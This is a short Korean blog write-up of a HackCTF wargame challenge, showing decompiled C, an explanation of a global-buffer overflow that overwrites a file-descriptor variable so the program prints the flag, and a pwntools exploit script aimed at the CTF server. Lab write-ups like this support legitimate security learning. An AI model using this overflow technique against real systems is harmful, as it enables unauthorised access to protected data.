본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) j0n9hyun’s secret writeup

by snwo 2022. 2. 9.
int __cdecl main_(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  int v4; // edx
  int v5; // ecx
  int v6; // er8
  int v7; // er9
  int v9; // [rsp+Ch] [rbp-4h]

  setvbuf(off_6CA748, 0LL, 2LL, 0LL);
  setvbuf(off_6CA740, 0LL, 2LL, 0LL);
  setvbuf(off_6CA738, 0LL, 2LL, 0LL);
  top_secret = open("top_secret", 'r', v3);
  printf("input name: ");
  scanf("%s", &input, v4, v5, v6, v7);
  v9 = read(top_secret, input_10, 0x12CuLL);
  write(1LL, input_10, v9);
  return 0;
}

stripstatic-linked 바이너리 하나가 주어진다.

대충 함수내부에서 sys_open, sys_read, va_start 이런걸 사용하는걸 보고 함수이름을 바꿔놨다.

printf 함수소스는 본 적이 있어서 확실하게 알 것 같았다.

top_secret 전역변수에 top_secret 파일의 fd 를 저장하고,

전역변수에 이름을 입력받고 ( overflow )

top_secret fd 을 통해 파일 내용을 읽어와 출력해준다.

답이 없어보였지만, 아무것도 연게 없는데 top_secret 의 fd 가 4여서

init_proc 를 봤더니 flag 파일을 여는 것을 볼 수 있었다.

overflow 를 통해 top_secret 변수의 fd 를 3으로 덮으면 풀리는 간단한 문제였다.

from pwn import *

r=remote("ctf.j0n9hyun.xyz", 3031)

r.sendlineafter("input name:",b'x'*(0x6CCE98-0x6CCD60)+p64(3))
r.interactive()